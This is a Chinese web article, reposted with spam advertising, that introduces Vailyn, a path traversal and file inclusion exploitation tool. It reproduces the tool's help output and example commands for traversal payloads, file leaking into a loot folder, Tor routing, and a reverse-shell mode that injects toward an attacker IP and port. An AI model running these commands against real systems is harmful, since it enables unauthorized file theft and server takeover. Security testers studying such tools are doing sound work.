如何利用Vailyn识别路径遍历和文件包含漏洞

[[433744]]

关于Vailyn

Vailyn是一款多阶段漏洞分析和利用工具，可以帮助广大研究人员分析、识别和利用路径遍历漏洞以及文件包含漏洞。该工具的性能非常强，并且害实现了大量的过滤规避技术。

创新互联专注于山阳网站建设服务及定制，我们拥有丰富的企业做网站经验。 热诚为您提供山阳营销型网站建设，山阳网站制作、山阳网页设计、山阳网站官网定制、微信小程序开发服务，打造山阳网络公司原创品牌,更为您提供山阳网站排名全网营销落地服务。

Vailyn的操作分为两个阶段。首先，它可以尝试访问/etc/passwd或用户指定的文件来检测漏洞是否存在。此时，我们可以自由选择使用哪些Payload，而第二阶段该工具将会使用我们所选择的Payload。

第二阶段是漏洞利用阶段。现在，该工具将会尝试使用文件和目录字典从目标服务器提取所有可能的文件。搜索深度和目录排列级别可以通过参数进行调整。或者，它可以下载找到的文件，并将它们保存在其loot文件夹中。除此之外，Vailyn还会尝试在目标系统上获取一个反向Shell，并允许攻击者获得对目标服务器的完全控制。

当前版本的Vailyn支持多种攻击向量：通过查询实现注入、路径、Cookie和POST数据等。

工具安装

我们建议的Vailyn运行环境为Python 3.7+，但理论上来说该工具应当适用于Python 3.5或Python 3.6环境。

如需安装Vailyn，可以直接访问该项目的【Releases页面】下载工具文档，或使用下列命令将该项目源码克隆至本地：

 
 
    
  
  
  1. $ git clone https://github.com/VainlyStrain/Vailyn 
    2.

下载好项目源码之后，我们则需要安装好该工具所需的Python依赖组件。

(1) Unix系统

在Unix系统上，可以直接运行下列命令：

 
 
    
  
  
  1. $ pip install -r requirements.txt   # --user 
    2.

(2) Windows系统

在Windows系统上，可以直接使用pip命令来安装“Vailyn\·›\requirements-windows.txt”中列出的依赖组件。

(3) 最后一步

如果你想要使用反向Shell模块的完整功能，我们还需要安装sshpass、ncat和konsole。

接下来，我们就可以直接运行下列命令来使用Vailyn了：

 
 
    
  
  
  1. $ python Vailyn -h 
    2.

工具使用

Vailyn提供了三个必要参数：-v VIC, -a INT和-p2 TP P1 P2。如果使用了-a参数的话，则可以支持更多选项。

 
 
    
  
  
  1. ,                \                  /               , 
    2. 
  
  
  2.  
    3. 
  
  
  3.      ':.             \.      /\.     ./            .:' 
    4. 
  
  
  4.  
    5. 
  
  
  5.         ':;.          :\ .,:/   ''. /;        ..::' 
    6. 
  
  
  6.  
    7. 
  
  
  7.            ',':.,.__.'' '          ' `:.__:''.:' 
    8. 
  
  
  8.  
    9. 
  
  
  9.               ';..                        ,;'     * 
    10. 
  
  
  10.  
    11. 
  
  
  11.        *         '.,                   .:' 
    12. 
  
  
  12.  
    13. 
  
  
  13.                     `v;.            ;v'        o 
    14. 
  
  
  14.  
    15. 
  
  
  15.               .      '  '..      :.' '     . 
    16. 
  
  
  16.  
    17. 
  
  
  17.                      '     ':;, '    ' 
    18. 
  
  
  18.  
    19. 
  
  
  19.             o                '          .   :         
    20. 
  
  
  20.  
    21. 
  
  
  21.                                            * 
    22. 
  
  
  22.                          | Vailyn | 
    23. 
  
  
  23.  
    24. 
  
  
  24.                       [ VainlyStrain ]     
    25. 
  
  
  25. Vsynta Vailyn -v VIC -a INT -p2 TP P1 P2 
    26. 
  
  
  26.  
    27. 
  
  
  27.         [-p PAM] [-i F] [-Pi VIC2] 
    28. 
  
  
  28.  
    29. 
  
  
  29.       [-c C] [-n] [-d I J K] 
    30. 
  
  
  30.  
    31. 
  
  
  31.        [-s T] [-t] [-L] 
    32. 
  
  
  32.  
    33. 
  
  
  33.   [-l] [-P] [-A]  
    34. 
  
  
  34.  
    35. 
  
  
  35. mandatory: 
    36. 
  
  
  36.  
    37. 
  
  
  37.   -v VIC, --victim VIC  Target to attack, part 1 [pre-payload] 
    38. 
  
  
  38.  
    39. 
  
  
  39.   -a INT, --attack INT  Attack type (int, 1-5, or A) 
    40. 
  
  
  40.  
    41. 
  
  
  41.     A|  Spider (all)       2|  Path               5|  POST Data, json 
    42. 
  
  
  42.  
    43. 
  
  
  43.     P|  Spider (partial)   3|  Cookie 
    44. 
  
  
  44.  
    45. 
  
  
  45.     1|  Query Parameter    4|  POST Data, plain 
    46. 
  
  
  46.  
    47. 
  
  
  47.   -p2 TP P1 P2, --phase2 TP P1 P2 
    48. 
  
  
  48.  
    49. 
  
  
  49.                         Attack in Phase 2, and needed parameters 
    50. 
  
  
  50.   
    51. 
  
  
  51. ┌[ Values ]─────────────┬────────────────────┐ 
    52. 
  
  
  52.  
    53. 
  
  
  53. │ TP      │ P1          │ P2                 │ 
    54. 
  
  
  54.  
    55. 
  
  
  55. ├─────────┼─────────────┼────────────────────┤ 
    56. 
  
  
  56.  
    57. 
  
  
  57. │ leak    │ File Dict   │ Directory Dict     │ 
    58. 
  
  
  58.  
    59. 
  
  
  59. │ inject  │ IP Addr     │ Listening Port     │ 
    60. 
  
  
  60.  
    61. 
  
  
  61. │ implant │ Source File │ Server Destination │ 
    62. 
  
  
  62.  
    63. 
  
  
  63. └─────────┴─────────────┴────────────────────┘ 
    64. 
  
  
  64.  
    65. 
  
  
  65.   
    66. 
  
  
  66.  
    67. 
  
  
  67. additional: 
    68. 
  
  
  68.  
    69. 
  
  
  69.   -p PAM, --param PAM   query parameter or POST data for --attack 1, 4, 5 
    70. 
  
  
  70.  
    71. 
  
  
  71.   -i F, --check F       File to check for in Phase 1 (df: etc/passwd) 
    72. 
  
  
  72.  
    73. 
  
  
  73.   -Pi VIC2, --vic2 VIC2 Attack Target, part 2 [post-payload] 
    74. 
  
  
  74.  
    75. 
  
  
  75.   -c C, --cookie C      Cookie to append (in header format) 
    76. 
  
  
  76.  
    77. 
  
  
  77.   -l, --loot            Download found files into the loot folder 
    78. 
  
  
  78.  
    79. 
  
  
  79.   -d I J K, --depths I J K 
    80. 
  
  
  80.  
    81. 
  
  
  81.                         depths (I: phase 1, J: phase 2, K: permutation level) 
    82. 
  
  
  82.  
    83. 
  
  
  83.   -h, --help            show this help menu and exit 
    84. 
  
  
  84.  
    85. 
  
  
  85.   -s T, --timeout T     Request Timeout; stable switch for Arjun 
    86. 
  
  
  86.  
    87. 
  
  
  87.   -t, --tor             Pipe attacks through the Tor anonymity network 
    88. 
  
  
  88.  
    89. 
  
  
  89.   -L, --lfi             Additionally use PHP wrappers to leak files 
    90. 
  
  
  90.  
    91. 
  
  
  91.   -n, --nosploit        skip Phase 2 (does not need -p2 TP P1 P2) 
    92. 
  
  
  92.  
    93. 
  
  
  93.   -P, --precise         Use exact depth in Phase 1 (not a range) 
    94. 
  
  
  94.  
    95. 
  
  
  95.   -A, --app             Start Vailyn's Qt5 interface 
    96. 
  
  
  96.  
    97. 
  
  
  97.   
    98. 
  
  
  98.  
    99. 
  
  
  99. develop: 
    100. 
  
  
  100.  
    101. 
  
  
  101.   --debug               Display every path tried, even 404s. 
    102. 
  
  
  102.  
    103. 
  
  
  103.   --version             Print program version and exit. 
    104. 
  
  
  104.  
    105. 
  
  
  105.   --notmain             Avoid notify2 crash in subprocess call.  
    106. 
  
  
  106.  
    107. 
  
  
  107. Info: 
    108. 
  
  
  108.  
    109. 
  
  
  109.   to leak files using absolute paths: -d 0 0 0 
    110. 
  
  
  110.  
    111. 
  
  
  111.   to get a shell using absolute paths: -d 0 X 0 
    112.

Vailyn当前支持五种攻击向量，并且提供了自动化爬虫。我们可以通过-a INT参数来选择需要执行的攻击：

 
 
    
  
  
  1. INT        attack 
    2. 
  
  
  2.  
    3. 
  
  
  3. ----       ------- 
    4. 
  
  
  4.  
    5. 
  
  
  5. 1          query-based attack  (https://site.com?file=../../../) 
    6. 
  
  
  6.  
    7. 
  
  
  7. 2          path-based attack   (https://site.com/../../../) 
    8. 
  
  
  8.  
    9. 
  
  
  9. 3          cookie-based attack (will grab the cookies for you) 
    10. 
  
  
  10.  
    11. 
  
  
  11. 4          plain post data     (ELEM1=VAL1&ELEM2=../../../) 
    12. 
  
  
  12.  
    13. 
  
  
  13. 5          json post data      ({"file": "../../../"}) 
    14. 
  
  
  14.  
    15. 
  
  
  15. A          spider              fetch + analyze all URLs from site using all vectors 
    16. 
  
  
  16.  
    17. 
  
  
  17. P          partial spider      fetch + analyze all URLs from site using only selected vectors 
    18.

工具使用演示

简单的查询攻击，第二阶段文件提取：

 
 
    
  
  
  1. $ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file --> http://site.com/download.php?file=../INJECT 
    2.

简单的查询，但知道file.php已存在：

 
 
    
  
  
  1. $ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file -i file.php -d 2 X X -P 
    2.

简单的路径攻击：

 
 
    
  
  
  1. $ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs --> http://site.com/../INJECT 
    2.

路径攻击，但需要查询参数和标签：

 
 
    
  
  
  1. $ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs -Pi "?token=X#title" --> http://site.com/../INJECT?token=X#title 
    2.

简单的Cookie攻击：

 
 
    
  
  
  1. $ Vailyn -v "http://site.com/cookiemonster.php" -a 3 -p2 leak dicts/files dicts/dirs 
    2.

POST Plain攻击：

 
 
    
  
  
  1. $ Vailyn -v "http://site.com/download.php" -a 4 -p2 leak dicts/files dicts/dirs -p "DATA1=xx&DATA2=INJECT" 
    2.

POST JSON攻击：

 
 
    
  
  
  1. $ Vailyn -v "http://site.com/download.php" -a 5 -p2 leak dicts/files dicts/dirs -p '{"file": "INJECT"}' 
    2.

攻击，但目标存在登录界面：

 
 
    
  
  
  1. $ Vailyn -v "http://site.com/" -a 1 -p2 leak dicts/files dicts/dirs -c "sessionid=foobar" 
    2.

攻击，但需要一个反向Shell(端口1337)：

 
 
    
  
  
  1. $ Vailyn -v "http://site.com/download.php" -a 1 -p2 inject MY.IP.IS.XX 1337 # a high Phase 2 Depth is needed for log injection 
    2.

完全的爬虫自动化模式：

 
 
    
  
  
  1. $ Vailyn -v "http://root-url.site" -a A 
    2.

工具演示视频

视频地址：【点我观看】

项目地址

Vailyn：【GitHub传送门】

文章题目：如何利用Vailyn识别路径遍历和文件包含漏洞
本文来源：http://www.shufengxianlan.com/qtweb/news25/137125.html

网站建设、网络推广公司-创新互联，是专注品牌与效果的网站制作，网络营销seo公司；服务项目有等

广告

声明：本网站发布的内容（图片、视频和文字）以用户投稿、用户转载内容为主，如果涉及侵权请尽快告知，我们将会在第一时间删除。文章观点不代表本网站立场，如需处理请联系客服。电话：028-86922220；邮箱：631063699@qq.com。内容未经允许不得转载，或转载时需注明来源： 创新互联

猜你还喜欢下面的内容

静态网站知识

行业网站建设

上海除甲醛　　 　无边发光字　　 　不锈钢防护栏　　 　成都小程序定制开发公司　　 　网站建设费用　　 　企业网站制作　　 　免备案空间　　 　绵竹做网站　　 　贵阳托管服务器　　 　王君美油画　　 　成都网站建设　　 　盐亭网站制作公司　　 　一带一路　　 　做网站设计　　 　成都定制网站开发　　 　服务器租用　　 　平山县网站建设　　 　成都木托盘　　 　帝美豪门窗　　 　网站制作公司